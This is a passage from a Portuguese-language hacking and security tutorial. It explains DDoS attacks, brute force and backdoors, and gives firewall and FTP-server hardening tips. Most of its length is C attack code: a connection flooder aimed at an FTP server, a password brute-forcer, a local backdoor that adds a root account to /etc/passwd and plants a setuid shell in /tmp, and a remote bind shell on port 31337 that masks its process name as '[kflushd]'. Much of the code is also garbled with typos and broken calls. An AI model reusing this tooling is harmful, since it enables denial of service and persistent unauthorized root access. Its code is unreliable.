/sbin/ipfwadm –A –i -P all –S 0.0.0.0/0 -D 0.0.0.0/0 
	Faz o accounting de todo o tráfego.
/sbin/ipfwadm –I –a deny –P tcp –S 0.0.0.0/0 -D 0.0.0.0/0 25 -o –W eth0
	Bloqueio da conexão coma porta 25(SMTP)
/sbin/ipfwadm –I –a deny -P tcp –S 0.0.0.0/0 -D 0.0.0.0/0 110 -o –W eth0
	Bloqueia a conexão com a porta 110(POP)
Sbin/ipfwadm –I –a deny -P tcp –S 0.0.0.0/0 -D 0.0.0.0/0 79 -o –W eth0
	Bloqueia a conexão com a porta 79(FINGER)
/sbin/ipfwadm –I –a deny -P tcp –S 0.0.0.0/0 -D 0.0.0.0/0 43 -o –W eth0
	Bloqueia a conexão com a porta 43(WHOIS)
/sbin/ipfwadm –I –a deny -P tcp –S 0.0.0.0/0 -D 0.0.0.0/0 23 -o –W eth0
	Bloqueia a conexão com a porta 23(TELNET)
/sbin/ipfwadm –I –a accept -P tcp –S 0.0.0.0/0 -D 0.0.0.0/0 21 -W eth0
	Permite conexão com a porta 21(FTP)
Sbin/ipfwadm –I –a accept -P tcp –S 0.0.0.0/0 -D 0.0.0.0/0 80 -W eth0
	Permite conexão com a porta 80(WEB)
	Uma vez feito isto, a máquina só aceitará conexões externas com as portas 21 e 80 (FTP e WEB, respectivamente) e rejeitará todas as outras conexões com outras portas, impossibilitando assim, o Portscanner de verificar portas abertas na máquina. 
	 
 
DDoS (Distributed Denial of Service)
Definição
Os ataques DoS (Denial of Service) são muito conhecidos no âmbito da comunidade de segurança de redes. Esses ataques acontecem através do envio indiscriminado de requisições a um computador-alvo e visam causar a indisponibilidade dos serviços oferecidos por ele. Ao longo do último ano, uma categoria de ataques de rede tem se tornado bastante conhecido: a intrusão distribuída. Neste novo enfoque, os ataques não são baseados no uso de um único computador para iniciar um ataque, no lugar são utilizados centenas ou até milhares de computadores desprotegidos e ligados na Internet para lançar coordenadamente o ataque.
	A tecnologia distribuída não é completamente nova, no entanto, vem amadurecendo e se sofisticando de tal forma que até mesmo vândalos curiosos e sem muito conhecimento técnico podem causar danos sérios. A este respeito, o CAIS tem sido testemunha do crescente desenvolvimento e uso de ferramentas de ataque distribuídas, em várias categorias: sniffers, scanner, Dos. Seguindo na mesma linha de raciocínio, os ataques Distributed Denial of Service, nada mais são do que o resultado de se conjugar os dois conceitos: negação de serviço e intrusão distribuído.
	Os ataques DDoS podem ser definidos como ataques DoS diferentes partindo de várias origens, disparados simultânea e coordenadamente sobre um ou mais alvos. De uma maneira simples, ataques DoS em larga escala. Os primeiros ataques DDoS documentados surgiram em agosto de 1999, no entanto, esta categoria se firmou como a mais nova ameaça na Internet na semana de 7 a 11 de fevereiro de 2000, quando hackers deixaram inoperantes por algumas horas sites como Yahoo, EBay, Amazon e CNN. Uma semana depois, teve-se notícia de ataques DDoS contra sites brasileiros, tais como: UOL, Globo OnLine e IG, causando com isto uma certa apreensão generalizada.
Como Ocorrem
Em um Denial of Service comum, uma máquina ataca a outra explorando falhas de softwares e de Protocolos. Já no Distributed Denial of Service(DDoS), o atacante utiliza várias máquinas para atacar uma máquina-alvo. O objetivo do ataque é esgotar algum recurso da máquina-alvo.
	Um hacker técnico desenvolve um sistema para explorar alguma vulnerabilidade dos protocolos TCP/IP. Este sistema é composto por dois programas: Master e Zumbi.
	Para um hacker mal-intencionado disparar um ataque, é necessário primeiro “plantar” os programas Zumbis nos computadores atacantes. Para isto, o hacker invade computadores que tenham uma boa largura de banda e uma segurança fraca. Nestes computadores eles instalam o programa Zumbi.
	Quando o hacker vândalo já tem uma quantidade suficiente de computadores comprometidos com o programa Zumbi, ele dispara o ataque. Para isto ele utiliza o programa Master, o qual é capaz de se comunicar de forma direta (e normalmente criptografada) com os Zumbis. Através deste programa Master, o hacker identifica o alvo do ataque, e como será feito o ataque.
	Uma vez recebido o comando de ataque, todos os computadores Zumbis começam simultaneamente a atacar o computador-alvo.
	Normalmente os programas DDoS utilizam IP Spoofing (Falsificação de IPs). Desta forma a equipe responsável pela administração do site que está sendo atacado não tem como saber quais IPs fazem parte do ataque, pois os IPs são falsos. Isso dificulta as tentativas de filtragem. A única saída é tentar descobrir alguma característica nos pacotes recebidos de acesso legítimo. Isto não é fácil, e exige que a equipe responsável pela segurança esteja bem treinada e preparada para este tipo de ataque.
Criando um Connection Flooder
Um Flooder Connection é um programa que tenta abrir o máximo de conexões com uma máquina-alvo a fim de esgotar todo o limite disponível de conexões da máquina visando impedir que outros usuários possam usufruir do serviço.
	Existem centenas de maneiras de se conseguir efetuar um DoS com sucesso em uma máquina remota pelo simples fato de existirem centenas de falhas para serem exploradas. Sejam falhas em sistemas operacionais, em softwares comerciais, em scripts para web ou em serviços on-line.
	Neste caso, o exemplo ilustrará a criação de um flood connection para servidores FTP, onde serão abertas centenas de conexões esgotando assim o limite e fazendo com que o servidor não aceite mais conexões de outros usuários, concretizando assim o DoS. 
 
Criando Bibliotecas Necessárias 
Para a criação do flooder serão utilizados as seguintes bibliotecas contendo as funções do programa:
#include <stdio.h>
#include <stdlib.h>#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <errno.h>
#include <signal.h>
REPASSANDO A VARIÁVEL HOST
É necessário que seja indicado o endereço para se fazer as conexões. Isso pode ser feito fazendo com que o programa capture os dados inseridos pelo usuário na linha de comando. Assim sendo, criaremos uma variável para armazenar o endereço inserido pelo usuário. A variável pode ser definida, por exemplo:
Char *HOST;
HOST = argv[1];
Onde a matriz argv[1] correspondente ao endereço de destino inserido pelo usuário na linha de comando na execução do programa e é definido na função main() da seguinte forma:
Main(int argc, char *argv[])
{
...
}
DEFININDO A ESTRUTURA DESTINO
É preciso criar uma estrutura para conter as informações sobre o destino a se conectar. Isso pode ser feito da forma:
Struct sockaddr_in destino;
DEFININDO O SERVIÇO A PARALISAR
 Cada serviço possui uma porta correspondente. A seguir, uma breve relação:
	SERVIÇO
	PORTA
	21
	FTP
	22
	SSHD
	23
	TELNET
	25
	SMTP
	43
	WHOIS 
	79
	FINGER
	80
	HTTP
	110
	POP
Como no nosso programa, tentaremos causar um DoS em um servidor FTP, utilizaremos a porta 21. Para que isso seja feito, será criada uma variável para conter o valor da porta do serviço ftp. 
Int PORTA;
PORTA = 21;
INCREMENTO
Será necessário criarmos um incremento para as centenas de conexões que serão abertas com a máquina-alvo. Definiremos então uma variável de incremento para criarmos 500 conexões na ordem crescente. Mas para fazer isso, é necessário que definamos primeiro a variável para a criação do socket e para o incremento, assim como para as conexões.
	Um exemplo seria:
Int socket, incremento, conexao; 
	E o nosso incremento para a criação das 500 conexões seria:
...
For(incremento=0;incremento<500;incremento++)
{
Destino[incremento].sin_addr.s_addr = inet_addr(HOST);
Destino[incremento].sin_family = AF_INET;
Destino[incremento].sin_port = htons(PORTA);
Socket = socket(AF_INET, SOCK_STREAM, 0);
Conexao = connection(socket, (struct sockaddr *)&destino[incremento], sizeof destino[incremento]);
...
}
JUNTANDO AS PEÇAS
Agora segue o Connection Flooder completo e comentado contendo as funções e incremento previamente definidos assim como funções adicionais:
/*Connection Flooder v1.0*/
/*Declaração da biblioteca usada pelo programa*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in.h>
#include <errno.h>
#include <signal.h>
//inicio do programa. função main() 
main(int argc, char *argv[])
{
int incrementa;
int socket;
int conexao;
int porta;
porta = 21;
char *host;
struct sockaddr_in destino;
// código responsável por ler o endereço digitado pelo usuário na linha de comando
if (argc > 1){
host = argv[1];
}
// parte responsável por imprimir o banner na tela caso não seja digitado o endereço
if (argc == 1){
printf(“-----------------------------------------------------\n”); 
printf(“............... connection flooder ......... ......\n”);
printf(“-----------------------------------------------------\n”);
printf(“uso: connectionflooder <host>.........................................\n”);
exit (0);
}
//impressão de mensagem indicando o inicio do flooding 
printf(“abrindo 500 conexões com : %d \n”,endereco);
printf(“aguarde... \n”);
for (incremento=0; incremento<500;incremento++){
destino[incremento].sin_addr.s_addr = inet_addr(host); //definindo o local a conectar
destino[incremento].sin_family = AF_INET;
destino[incremento].sin_port = htons(PORTA);
socket = socket(AF_INET, SOCK_STREAM, 0);
// abrindo as 500 conexões
conexao = connection(socket, (struct sockaddr *)&destino[incremento], sizeof destino[incremento]);
// verificando conexão e imprimindo msg de confirmação
if (sock = 0){
	printf(“conexao numero %d aberta.\n”, incremento);
}
}
printf(“\n processo concluido com exito.\n”);
printf(“\n finalizando programa.\n”);
close(socket);
}
Bloqueando o Connection Flooder
O sucesso do Connection Flooder se faz possível pois como foi visto ele tenta esgotar o número máximo de conexões permitidas pelo servidor. 	Um outro ponto que favorece a sua execução é o numero de conexões por IP, que pode variar de servidor para servidor.
	Uma ótima maneira de se bloquear um Connection Flooder é alterar a configuração padrão do servidor. Em nosso exemplo de Connection Flooder mostramos como efetuar um DoS em um servidor FTP(Porta 21). Vamos agora então bloquear está técnica alterando o número máximo de conexões e o de conexões por IP.
	Para o nosso exemplo, iremos supor que o programa servidor de FTP do nosso Linux é o ProFTPD.
	Veja o arquivo de configuração padrão do ProFTPD (/etc/proftp.conf):
#
# Configuração do ProFTPD
#
ServerName			“ProFTPD – A Secure FTP daemon”
ServerType			standalone
DefaultServer			on
ScoreboardPath		/var/run
ServerAdmin			root@localhost
SyslogFacilit			AUTH
# Utiliza-se o port 21 (padrão ftp) no caso de funcionamento standalone
Port				21
# Umask 002 é um bom padrão para prevenir que novos diretórios e 
# arquivos sejam graváveis pelo grupo ou outros usuários 
Umask				022
# Numero de conexões simultâneas 
MaxInstances			30
# Usuários e grupo para servidor
User				nobody
Group				nobody
# Faz com que o usuário apenas acesse seu diretório $HOME
DefaultRoot ~ 
<Directory /*>
AllowOverwrite			no
</Directory>
#Configuração básica para ftp anônimo, sem diretório para recepção de arquivos
<Anonymous ~ftp>
User				ftp
Group				ftp
DirFakeUser			on
DirFakeGroupon		
RequireValidShell		off
# ftp = anonymous
UserAlias			anonymous ftp
# Número máximo de logins anônimos
MaxClients			10 “Número máximo de clientes, tente mais tarde.”
# No máximo duas conexões por clientes
MaxClientsPerHost		2 “Você já está com muitas conexões simultâneas.” 
# Welcome.msg mostrado na conexão e .message mostrado para cada diretório acessado.
DisplayLogin			welcome.mg
DisplayFirstChdir		.message
AccessGrantMsg		“Acesso anônimo aceito para %u.”
# Limite de gravação no chroot anônimo
<Limit WRITE>
	Denyall
	</Limit>
</Anonymous>
	Para se bloquear o Connection Flooder, modifique as seguintes linhas:
MaxInstances			30
Para:
MaxInstances			5
	Fazendo isto, habilitamos o número de conexões simultâneas em apenas 5, fugindo assim do DoS.
MaxClientsPerHost		2 ”Você está com muitas conexões simultâneas.”
Para:
MaxClientsPerHost		1 “Você já está conectado.”
	Permitindo assim 1 única conexão FTP por IP.
	Obs: Para os demais servidores FTP possíveis, o princípio para paralisar o Connection Flooder seria o mesmo, sendo necessário apenas sua configuração padrão.
Brutal Force
Definição
Brutal Force consiste basicamente em uma técnica que, através do método de tentativa e erro, procurar obter sucesso em uma determinada sessão de autenticação do usuário, ou seja, um Brutal Force e geralmente usado para se obter logins e passwords de determinados programas ou serviços. Este técnica é muito perigosa, pois deixa muitos rastros e deve ser usado com máxima cautela.
	O fato de se implementar este conceito com uso de programas para automatizarem a sua implementação e o que torna o Brutal Force uma técnica. O Brutal Force pode vir a ser uma técnica muito eficiente para se obter acesso a um sistema remoto pois ainda existem milhares de falhas nas implementações de programas em relação a sua criação de senhas. Porém, vale lembrar que esta técnica pode ser muito demorada e cansativa pois podem ser testadas milhões de senhas até se encontrar uma válida, e um outro motivo que leva a grande lentidão é o fato de que alguns serviços possuem um limite de tentativas de senhas, podendo descarta novas conexões por um certo período de tempo fazendo com que o atacante precise esperarpara poder fazer tentativas.
Lista de Palavras (Wordlist)
Lista de palavras com o próprio nome diz, se refere a uma conjunto (Lista) de palavras que geralmente são usadas através do programa “Brutal Force” como “palpites” para as tentativas de obtenção de usuário ou senha. Existem servidores que não permitem senhas fáceis por exemplo, 12345, logo, uma boa Wordlist para este servidor poderia ser uma mistura de letras e números ou que não possui-se menos de seis caracteres aleatórios do tipo X6YTECG. Para a criação de uma lista de palavras basta escrever linha por linha várias palavras em um arquivo de texto, por exemplo: 
 
Arquivo: lista.txt
	- inicio do arquivo - 
Betobola
Amjp
Cienciam
Admin
Testeteste
Joaoa 12
R5t64y8
	- fim -
Vale lembrar que quando mais palavras a lista compreender, mais chances são as de se encontra uma válida. Uma ótima para a criação de lista de senhas é utilizar pedaços de nomes de logins de usuário e mesclar com sobre nomes.
	
Variações
Existem algumas implementações para o Brutal Force que variam com a necessidade e a disponibilidade de sua utilização. 
	São elas:
1 – Manual
Neste caso, o ataque tenta o Brutal sem a utilização de um software especifico. Ele, por sua vez, efetua suas tentativas diretamente no decorrer do uso do programa pelo seu interpretador de comando. Por exemplo, um usuário utilizando esta técnica para a obtenção de uma senha válida para o usuário Root em serviços de FTP:
FTP ftp.vitima.com.br 21
Usuario: ROOT
Password: 12rr34 <Primeira tentativa>
*Invalid Pasword
Usuario: ROOT
Password: 22tt34 <Segunda tentativa>
 
...
2 - Local
Está representa a implementação do Brutal para um usuário que já possui uma senha de local válida no sistema. Está implementação consiste em obter novas senhas para o outro usuário do sistema explorando serviços que estão ativos na máquina. Pode se tentar descobrir uma senha para o usuário dono de algum serviço com acesso privilegiado como por exemplo, Telnet.
3 - Remota 
Neste caso o Bruto é utilizado para a obtenção de usuários e passwords válidos em máquina remotas (disponíveis on-line). Está é, sem dúvida, a implementação mais utilizado por invasores de sistemas que visão acesso em grandes servidores. Serviços como MySQL, POP, SSH, RSH, TELNET são os mais visados, pois uma vez se tendo um password válido fica extremamente mais fácil para o invasor obter acesso total no sistema utilizando alguma outra técnica.
 
Criando um Brutal Force
Para demonstrar como funciona a criação de um Brutal Force, criaremos um programa exemplo que pedirá uma senha válida. Caso a senha que venha a ser digitada seja inválida, o programa retornará uma mensagem de erro. Porém, se a senha for válida, retornará a mensagem “Senha correta”.
	Criaremos então um Brutal Force que execute algumas tentativas de autenticação a partir de uma lista de palavras para encontrar a senha correta e demonstrar com sucesso a técnica de Brutal. 
 
O Programa-exemplo
O programa-exemplo é de fato bem simples. Consiste em um programa que define a variável contendo um valor, que será a senha correta. Em seguida pede que se digite uma senha que por sua vez é comparada com a verdadeira. Caso a comparada seja positiva, ou seja, as senhas sejam iguais, uma mensagem de sucesso é disparado. Caso contrario, uma mensagem de erro é emitido pelo programa.
	Abaixo segue o programa completo e comentado:
/* programa comparador. Compile-o com o gcc –o comparador comparador.c*/
/*definindo as bibliotecas*/
#include <stdlib.h>
#include <sdtio.h>
#include <string.h>
main (int argc, char *argv[]){
//senha verdadeira
char senha_verdadeira;
//senha digitada pelo usuario
char tentativa;
if (argc < 2){
printf(“uso: ./comparador <senha>.\n”);
exit (0);
}
// obtendo a senha digitada pelo usuário e efetuando a comparação
tentativa = argv[1];
if (tentativa = senha_verdadeira){
printf(“senha correta\n”);
exit(0);
}
else{
printf(“senha errada!\n”);
exit(0);
}	}
Criando um Brutal Force
Para criar a lista de senhas, como foi dito anteriormente, basta escrever as senhas que se deseja tentar em um arquivo texto normalmente. Para o nosso exemplo, incluiremos na lista de palavras a senha correta “brutal” apenas para a verificação da funcionalidade do nosso programa.
LENDO A LISTA DE PALAVRAS 
	Precisamos fazer com que nosso programa abra e leia, uma a uma, as palavras da nossa lista de palavras para que o mesmo utilize na tentativa de verificação.
	Para que isto seja possível, utilizaremos o código:
...
FILE *arquivo_senha;
Arquivo_senha = fopen(argv[1], “r”);
...
Onde, 
	FILE arquivo_senha = fopen(argv[1],”r”) abre realmente o arquivo com o nome repassado pelo usuário em argv[1]em modo de leitura(r).
FILTRANDO A LISTA
	Uma vez aberta a lista, é preciso que se separe palavra por palavra para que o Brutal Force efetue todas as tentativas com as senhas da lista de cada vez.
	Para esta filtragem segue o código:
...
While(fscanf(arquivosenha, “%s”, &senha_atual) != EOF)
{
Sprintf(buffer, “comparador %s”, &senha_atual);
System(buffer);
}
...
Onde, 
	&senha_atual: variável criada para conter uma palavra do arquivo da lista de palavras.
	Buffer: variável criada para conter todos os comandos, inclusive a tentativa de senha, que serão repassadas para a Shell do sistema, que por sua vez será chamada na função system.
	System(buffer): executa o código na shell.
BRUTAL FORCE COMPLETA E COMENTA 
	Segue agora o programa completo e comentado toda a estrutura para a exploração do programa comparador criado anteriormente.
/* define as bibliotecas usadas no programa */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/* define a variável para a abertura do arquivo de palavras */
FILE *arquivosenha;
main(int argc , char *argv[])
{
char senha_atual[50];
char buffer[100];
if (argc < 2){
printf(“brutal force v1.0 \n”);
printf(“uso: %s <arquivo de palavras> \n”, argv[0]);
exit(0);
}
/* abrindo oarquivo */
 senhas = fopen(argv[1], “r”);
/* verificando se o arquivo esta vazio */
if (senhas == null){
fprintf(stderr, “erro na abertura doarquivo.”);
exit(-1);
}
/* filtrando a lista e fazendo as tentativas de força bruta */
while(fscanf(arquivosenha, “%s”, &senha_atual) != eof){
sprinf(buffer,”comparador %s”, senha_atual);
system (buffer);
}
printf(“\nnao foi possível encontrar a senha correta.\n”);
fclose(arquivosenha);
return 0;
}
Dificultando o Ataque
	Se proteger contra um ataque de Brutal Force é relativamente complicado. Inúmeras são as providências que podem ser tomadas mais ainda assim continua sendo possível que um atacante em potencial consiga obter sucesso em uma única tentativa. O favor mais importante na prevenção de técnicas de Brutal Force esta na própria senha pois, por exemplo, um administrador de sistema pode configurar todos os serviços da máquina para descartar a execução após um número x de tentativas de login inválidos e mesmo assim, por sorte, em uma única tentativa, o atacante pode digitar a senha válida e obter acesso ao sistema.
	Um outro exemplo, ele configurasse todo o sistema para não permitir mais que 3 tentativas de login por sessão em um serviço e utilizasse as melhores chaves de encriptação para as senhas, nada disso teria resultado algum se a sua senha fosse 1234, pois qualquer usuário, mesmo estando sobre todas estas proteções poderia, uma primeira e única tentativa, digitar a senha 1234 e obter o acesso de Administrador do sistema.
	Portanto, para que se possa dificultar o máximo possível um ataque de Brutal Force, é necessário que se tenha uma ótima politica de criação de senhas.
	Algumas dicas para a criação de senhas podem ser vistas no esquema abaixo:
Não utilizar datas de nascimento
Não utilizar números de telefone e celular
Não utilizar números de cartões de créditos nem nenhuma data comemorativa
Não utilizar junção de nomes e sobre nomes
Não utilizar junção de nomes e idade
Não utilizar nomesde animais de estimação, apelidos, nomes de namorados
Intercalar números e letras entre nomes pessoais e sobrenomes
Não utilizar sequencias 
Não utilizar apenas números ou letras
Entrelaçar números e letras aleatoriamente 
BackDoor
Definição
Um BackDoor é um programa utilizado pelo hacker após a invasão para garantir o seu retorno ao sistema com um privilégio avançado sem que seja necessário efetuar uma nova invasão. Em sua maioria, BackDoor abrem uma porta no computador penetrado e ficam esperando uma conexão com o computador comprometido, ele se conectar com a porta onde o seu BackDoor está esperando e o mesmo libera o acesso ao sistema para o hacker.
Algumas Variações
BackDoor podem apresentar algumas variações que são definidas pelo seu tipo e localização.
BackDoor Local
Neste caso, o Invasor é um usuário do sistema que instala um BackDoor a fim de obter acesso privilegiado em algum momento no decorrer do uso do sistema. Pode-se também utilizar o backdoor para executar programas de outros usuários ou serviços locais do sistema. 
BackDoor Remoto
Um backdoor remoto é aquele que é instalado em uma máquina na rede no qual o hacker de certa forma possui acesso e deseja obtê-lo novamente em uma circunstância futura. É muito utilizado quando se invade um servidor na Internet e deseja-se monitorá-lo a fim de capturar informações sobre o sistema ou usuários. 
BackDoor Encapsulado
Este tipo de BackDoor é aquele que vem adicionado dentro de um código de um programa comercial com o intuito de infectar máquinas aleatórias. Este tipo é bastante perigoso pois muitas vezes é criado por programadores mal-intencionados de empresas conceituadas, fazendo assim com que fique bem menor a desconfiança sobre o programa comercial em questão. Um exemplo disso seria uma empresa que cria programas para gerenciamento de estoque e em alguma parte do código-fonte, um programador malicioso inseriu um BackDoor que copia as senhas dos usuários e envia para seu endereço de e-mail.
Criando um BackDoor Local
Para criação, faremos algumas afirmações que servirão apenas de exemplo para a explicação do mesmo. Imaginemos que um usuário local, utilizando de técnicas de Brutal Force, conseguiu acesso de super usuário ROOT no sistema. Porém, ele sabe que, após uma nova sessão na máquina em questão, esta senha já pode ter sido alterada, pois como já foi mencionado, a técnica de Brutal Force deixa muitos rastros, podendo assim ser percebida facilmente. 
	Então o usuário decide criar um BackDoor que execute as seguintes operações para garantir novamente seu acesso de super usuário:
Adiciona um usuário com privilégio de super usuário no arquivo de senhas do sistema Linux.
Cria uma cópia da Shell do sistema no diretório /tmp (diretório temporário que ele pode ter acesso a qualquer instante).
Disponibiliza para a Shell o privilégio de super usuário para que quando o usuário a execute, possa também executar comandos com o mesmo privilégio.
Para a primeira operação, se faz necessário uma função que insira o novo usuário com privilégios de super usuário no arquivo de senha. 
Esta parte do código seria:
...
	System(“echo novouser:1234:0:0:backdorexemplo:/:/bin/sh >>/etc/passwd”);
...
Onde, 
	Novouser: nome do novo usuário
	1234: a senha
	/bin/sh: a Shell a ser executada
	/etc/passwd: arquivo de senhas
Para a segunda e terceira operações, o código seria:
...
	System(“cp /bin/sh/tmp/.shell”);
	System(“chown root /tmp/.shell”);
	System(“chmod 4755 /tmp/.shell”);
...
Onde,
System(“cp /bin/sh/tmp/.shell”) : faz uma cópia da shell /bin/sh para o diretório temporário /tmp
System(“chown root /tmp/.shell”) : altera o arquivo para o dono do ROOT
System(“chmod 4755 /tmp/.shell”) : disponibiliza para a cópia da shell os privilégios de super usuário.
	Uma vez executado o programa, basta executar a shell que está localizada em /tmp e obter o privilégio de super usuário no sistema. O programa BackDoor completo e comentado segue abaixo:
/*definindo as bibliotecas*/
#include <stdio.h>
#include <stdlib.h>
#include <system.h>
main()
{
printf(“adicionando novo usuário ...”);
//adicionando novo usuário
system(“echo novouser: 1234:0:0:backdorexemplo:/:/bin/sh >> /etc/passwd”);
printf(“copiando a shell e definindo alterações ...”);
//fazendo a copia da shell, trocando o owner e definindo o privilegio 
system(cp /bin/sh /tmp/.shell);
system(chown root /tmp/.shell);
system(chmod root /tmp/.shell);
printf(“backdoor criado com sucesso.”);
} 
 
Criando um BackDoor Remoto
Para nosso BackDoor remoto, utilizaremos a seguinte circunstâncias: 
	Um hacker conseguiu penetrar em um servidor remoto e deseja instalar um BackDoor que disponibiliza para ele uma shell do sistema em uma porta para que ele possa usufruir do sistema a qualquer hora sem que seja preciso efetuar novos ataques para se obter o acesso .
 Neste caso, o BackDoor consistiria nas seguintes funções:
Abrir uma porta no sistema
Disponibilizar nesta porta a Shell para que o Hacker possa executar comandos
Fazer com o BackDoor aceite conexões
Fazer com que a Shell execute os comandos
Para estas operações, segue o conjunto de códigos:
...
	int Meusocket, Novosocket, tamanho;
	struct sockaddr_in local;
	struct sockaddr_in remote;
	MINHA_PORTA = 31337;
if (fork() == 0)
{
	strcpy(argv[0], “[kflushd]”);
	bzero(&local, sizeof(local));
	local.sin_family = AF_INET;
	local.sin_port = htons (MINHA_PORTA);
	local.sin_addr.s_addr = INADDR_ANY;
	bzero(&(local.sin_zero), 8);
Meusocket=socket(AF_INET , SOCK_STREAM, 0);
bin(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));
listen(Meusocket, BACKLOG);
tamanho = sizeof(struct sockaddr_in);
		while(1){
if((Novosocket=accept(Meusocket, (struct sockaddr *)&remote,&tamanho)) == 1)
{
perror(“accept”);
exit (1);
}
}
if(!fork())
{
close(0); close(1); close(2);
dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket, 2);
execc1(“/bin/bash”,”bash”,”-i”, (char *)0);
close(Novosocket);
exit(0);
	}
}
}
...
Agora vamos comentar as partes importantes deste código.
Em:
...
	int Meusocket, Novosocket, tamanho;
	struct sockaddr_in local;
	struct sockaddr_in remote;
	MINHA_PORTA = 31337;
...
	Temos as inicializações da variáveis do nosso programa. Criação de estruturas que conterão as informações dos destinos e a definição da porta que o backDoor irá utilizar para disponibilizar a Shell.
	Em:
... 
strcpy(argv[0], “[kflushd]”);
	bzero(&local, sizeof(local));
	local.sin_family = AF_INET;
	local.sin_port = htons (MINHA_PORTA);
	local.sin_addr.s_addr = INADDR_ANY;
	bzero(&(local.sin_zero), 8);
...
	Aqui é utilizado um incrível artifício para despistar os administradores de sistemas. Alinha:
strcpy(argv[0], “[kflushd]”);
	Cópia para argv[0] o valor kflushd, que é o nome de um serviço do sistema linux. Fazendo isto, quando um administrador tentar procurar pro programas ativos na memória, ele verá o nome kflushed e não o nome do nosso BackDoor.
	As funções seguintes definem a porta a utilizar e o endereço, que será o da máquina que executará o backdoor.
	Em:
...
Meusocket=socket(AF_INET , SOCK_STREAM, 0);
bin(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));
listen(Meusocket, BACKLOG);
tamanho = sizeof(struct sockaddr_in);
...
	Nesta parte acontece a criação do socket. A junção da função Bind() e listen() são as responsáveis por ligar a porta ao programa e fazê-lo esperar por conexões e BACKLOG é o número de conexões que o programa aceitará.
	Em:
... 
while(1){
if((Novosocket=accept(Meusocket, (struct sockaddr *)&remote,&tamanho)) == 1)
{
perror(“accept”);
exit (1);
}
}
if(!fork())
{
close(0); close(1); close(2);
dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket, 2);
execc1(“/bin/bash”,”bash”,”-i”, (char *)0);
close(Novosocket);
exit(0);
	}
}
}
...
	Temos então a parte responsável por aceitar as conexões e disponibilizar a Shell para o invasor obter o total controledo sistema novamente.
	Finalmente veremos o código completo e comentado.
/*BackDoor V1.0*/
//Definindo as Bibliotecas 
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#define MINHA_PORTA 31337
#define BACKLOG 5
int main(int argc, char *argv[])
{
int Meusocket;
int Novosocket;
int tamanho;
struct sockaddr_in local;
struct sockaddr_in remote; 
if(fork() == 0)
{
strcpy(argv[0], “[kflushd]”);
bzero(&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons(MINHA_PORTA);
//endereço local para ser usado
local.sin_addr.s_addr = INADDR_ANY;
bzero(&(local.sin_zero), 8);
//criando o socket
Meusocket = socket(AF_INET, SOCK_STREAM, 0);
//definindo a porta ao socket
bind(Meusocket, (struct sockaddr *)&local, sizeof(struct sockaddr));
//fazendo a porta ficar ativa para conexões
listen(Meusocket, BACKLOG);
tamanho = sizeof(struct sockaddr_in);
//iniciando o loop usado em accept para as conexões possíveis 
while(1){
/*accept para aceitar a conexão com a porta. Verificando se tudo ocorreu bem. Caso contrario imprimi a mensagem de erro*/
if ((Novosocket=accept(Meusocket, (struct sockaddr *)&remote,&tamanho)) == 1)
{
	perror(“accept”);
exit(1);
} 
if (!fork()){	 close(0); close(1); close(2);
//Dups para criar copias do novo socket 
	dup2(Novosocket, 0); dup2(Novosocket, 1); dup2(Novosocket, 2);
//Executar a shell para o Hacker
	exec1(“/bin/bash”,”bash”,”-i”, (char *)0);
	close(Novosocket);
	exit(0);
}
}
}
return (0);
}
 //Fim do programa
A Prevenção contra BackDoor Remoto
	Quando um sistema é instalado, cabe ao administrador configurar e disponibilizar os serviços que a máquina irá prover aos seus usuários. Após serem definidos todos os devidos serviços, o administrador pode ter uma lista das portas fixas e constantes disponíveis na máquina, onde qualquer outra porta aberta poderá representar um possível BackDoor em potencial. Por exemplo, para ilustrar todo o contexto, imaginemos que o administrador disponibilizou para seus usuários os seguintes serviços:
TELNET (Login de usuários)
FTP (Transferência de Arquivos)
SMTP (Envio de E-mail)
HTTPD (Servidor de Paginas WEB)
PODD (Recebimento de E-Mails)
Portanto, a cada inicialização do sistema, por padrão, as seguintes portas estarão disponíveis na máquina:
23 – TELNET
21 – FTP
25 – SMTP
80 – HTTPD
110 – POPD 
Se somente estas portas estiverem abertas e os serviços correspondentes estiverem funcionando sem nenhum anormalidade é pouco provável a presença de um BackDoor remoto. Mas e se as portas abetas fossem:
23 – TELNET 
21 – FTP 
25 – SMTP
80 – HTTPD
110 – POPD
31337 - ? 
Isso pode indicar um possível BackDoor. Tentaremos nos conectar com esta porta através do Telnet.
Na shell, executaríamos o comando:
Telnet <endereço da nossa máquina> 31337
Caso a conexão seja aceita e um interpretador de comando seja disponibilizado, fica completamente constatada a presença de um BackDoor remoto. 
	Para parar imediatamente a execução deste, o administrador poderia utilizar o IPFW para bloquear conexões:
	Executando na Shell:
/sbin/ipfwadm –I –a deny -P tcp –S 0.0.0.0/0 -D 0.0.0.0/0 31337 –o –W eth0
	Bloqueio a conexão com a porta 31337
Feito isso, automaticamente seriam rejeitadas todas as conexões com a porta 31337, impossibilitando assim a execução do BackDoor. Outra forma de se prevenir a execução de outros, seria bloquear todas as outras portas que não fossem as do serviço realmente disponibilizadas pelas máquina.
	Para isto, teríamos então:
/sbin/ipfwadm –I –a deny -P tcp –S 0.0.0.0/0 -D 0.0.0.0/0 1021:6010 –o –W eth0
Este comando bloqueia a conexão com todos as portas entre 1021 e 6010, dificultando assim a execução de possíveis BackDoor que possam servir de espaço para Hackers.
	Pode-se também utilizar outra ferramenta IDS, que é explicada no final do livro. 
Informações Adicionais
Atacantes em Potencial
O termo para se identificar quem ataca um sistema computacional é hacker. Porém, esta generalização possui algumas ramificações, pois ataques possuem diferentes objetivos, que para seu sucesso depende da capacidade do atacante.
